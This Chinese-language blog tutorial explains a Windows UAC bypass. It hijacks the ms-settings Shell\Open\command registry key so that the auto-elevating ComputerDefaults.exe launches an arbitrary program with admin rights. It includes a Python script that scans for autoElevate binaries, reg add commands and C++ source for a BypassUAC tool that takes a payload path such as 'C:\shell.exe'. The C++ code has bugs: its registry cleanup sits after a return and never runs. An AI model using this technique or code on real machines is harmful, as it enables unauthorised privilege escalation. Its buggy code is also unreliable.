Bypassuac之白名单结合注册表方式

参考 Bypass UAC 原来这么简单

本章记录一下系统白名单文件结合注册表bypassuac,uac这个东西并不是Windows设置的防御机制而是相当于保护机制,只是用来控制用户行为的,弹个窗来提醒一下用户的行为,和直接的杀软是不一样的性质,所以uac有多种方式绕过比如系统白名单、DLL 劫持绕过、COM 劫持绕过、利用系统漏洞绕过甚至如果直接提权到高权限也相当于直接绕过了uac

在Windows中普通用户也可以以管理员权限运行程序,在拿到一个普通用户的权限需要执行一些系统操作,比如添加一个用户,运行一个需要管理员权限才能运行的程序等等都会弹出uac控制来提示是否以管理员权限执行,这个时候要么提升权限要么就只能uac绕过。

另外在域中的uac更加严格,需要输入管理员的账号密码才可以继续运行

白名单的挖掘

序需要满足以下几个条件:

1. 程序的manifest标识的配置属性 autoElevate 为 true

2. 程序不弹出UAC弹窗

3. 从注册表里查询Shell\Open\command键值对

       程序的autoElevate如果设置为true就代表他可以直接以管理员权限静默执行,毕竟在Windows系统中不可能每个程序都弹uac吧还是有静默的,条件就这个要设置为true,但是这个被设置为了true不代表一定就不会弹uac!

        第一个条件可以使用微软官方的工具sigcheck64.exe来查找,我们要找一个白名单程序肯定是每个电脑上都会存在的才可以,所以重点寻找系统的那么几个文件比如Windows文件夹

sigcheck64.exe工具使用

一个白程序的 autoElevate 为 true

这里可以使用一个脚本来查找所有白名单(第一次使用会有个要求同意的的gui界面,必须要先运行一遍sigcheck64.exe工具才能使用脚本)

import os
from subprocess import Popen, PIPE

path = 'c:\\windows\\system32'

def GetFileList(path, fileList):
    if os.path.isfile(path):
        if path[-4:].lower() == '.exe':
            fileList.append(path)
    elif os.path.isdir(path):
        try:
            for s in os.listdir(path):
                newDir = os.path.join(path, s)
                GetFileList(newDir, fileList)
        except Exception as e:
            print(e)
    return fileList

files = GetFileList(path, [])
print(files)


for eachFile in files:
    try:
        command = r'.\sigcheck64.exe -m "{}" | findstr auto'.format(eachFile)
        print(command)
        p1 = Popen(command, shell=True, stdout=PIPE)
        output = p1.stdout.read().decode('utf-8')  # 假设输出是utf-8编码
        if '<autoElevate>true</autoElevate>' in output:
            copy_command = r'copy "{}" .\success'.format(eachFile)
            Popen(copy_command, shell=True)
            print('[+] {}'.format(eachFile))
            with open('success.txt', 'a') as f:  # 每次循环都以追加模式打开文件
                f.write('{}\n'.format(eachFile))
    except Exception as e:
        print(e)

# 注意:确保sigcheck64.exe工具在当前目录,并且有权限执行这些命令。

结果保存在success.txt中

下一个条件是程序不弹出UAC弹窗

这里我们就以ComputerDefaults.exe为演示,这个程序是不会弹uac的可以试一试

win +r 直接运行这个程序

发现是没有弹窗符合条件

第三个条件是从注册表里查询Shell\Open\command键值对

注册表操作监控

这里使用ProcessMonitor的Procmon64.exe 工具进行监视程序的行为

这里添加了两条规则一个是ComputerDefaults.exe进程的监视一个是注册表的操作监视

主要是看注册表的操作

运行一下程序所有的注册表操作都监控到了,然后搜索一下我们想要的那个Shell\Open\Command行为是否存在

找到了说明有这个行为,符合条件,这就是我们要的白名单程序

另外可以看到这里有个result是一个 NAME NOT FOUND,这个结果是更好的,说明他去查询的键值对是不存在的可以自己增加修改,如果是success说明以及被写好了,你去修改可能会出其他的问题啥的影响程序运行。

去注册表里看一下 win +r regedit

看HKCU\Software\Classes\ms-settings\Shell\Open\Command 路径是否存在,不存在就手动添加,另外就是HKCU的路径是我们可以修改的,HKUR需要高权限才能修改。一般我们要绕过uac说明我们的权限并不高,如果去查询的路径是在HKUR那就可以换一个程序研究了

查询发现不存在ms-settings的目录

那么我们就创建这些项

这里手动修改这里的值为cmd.exe啥的会被Windows的defender直接拦截。。。

直接修改为calc.exe

但是重新运行ComputerDefaults 并没有弹出计算器,重新查看一下监控

这里将过滤规则中的reg那个删除只保留processname的

可以看到Shell\Open\Command 结果是success说明我们写的成功了,但是后面还有个HKCU\Software\Classes\ms-settings\Shell\Open\Command\DelegateExecute是NAME NOT FOUND 这里也要修改,让这里也通行

那么就是新建一个DelegateExecute字符串

修改后再次打开ComputerDefaults 成功的打开了我们的calc

手动的演示完毕了实际也是可以使用命令或者代码实现的

命令方式

# 添加
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /t REG_SZ /d "calc.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
# 复原
reg delete HKCU\Software\Classes\ms-settings /f

代码生成

#include <iostream>
#include <Windows.h>
#include "tchar.h"

DWORD BypassUAC(LPWSTR filePath){
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFOA si = { 0 };
    HKEY hKey;
    si.cb = sizeof(STARTUPINFO);
    si.wShowWindow = SW_HIDE;
    DWORD dwDisposition;

    if (filePath == NULL)
    {
        printf("[!] FilePath is null, please try again!\n");
        exit(1);
    }
    else {
        printf("\n");
        printf("[*] Get filePath success , the filePath is : %ws\n", filePath);
    }

    // 创建注册表项
    if (ERROR_SUCCESS != ::RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey))
    {
        printf("[!] Create regedit failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create regedit successfully!\n");
    }

    // 设置注册表值
    if (ERROR_SUCCESS != ::RegSetValueExW(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenW(filePath) + 1024)))
    {
        printf("[!] Create exe_key-value failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create exe_key-value successfully!\n");
    }

    // 设置 DelegateExecute 的值为空
    if (ERROR_SUCCESS != RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof("")))
    {
        printf("[!] Create delete_key-value failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create delete_key-value successfully!\n");
    }

    // 使用 cmd.exe 来执行 ComputerDefaults.exe
    if (NULL == CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
    {
        printf("[!] Create Process failed, error is : %d\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[*] Create Process successfully!\n");
    }

    return TRUE;

    Sleep(3000);

        if (ERROR_SUCCESS != ::RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings"))
        {
            printf("[!] Delete regedit failed, error is : %d\n", GetLastError());
        }
        else {
            printf("[*] Delete regedit successfully!\n");
        }
}

int main(int argc, wchar_t* argv[]){
    if (argc != 2)
    {
        printf("UAC.exe <filepath>\n");
        printf("UAC.exe C:\\shell.exe");
    }
    else {
        LPWSTR filePath = argv[1];
        BypassUAC(filePath);
    }

    return 0;
}

不过此程序已近是被Windows监控了,执行cmd.exe啥的估计不行,不过思路是这个思路。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值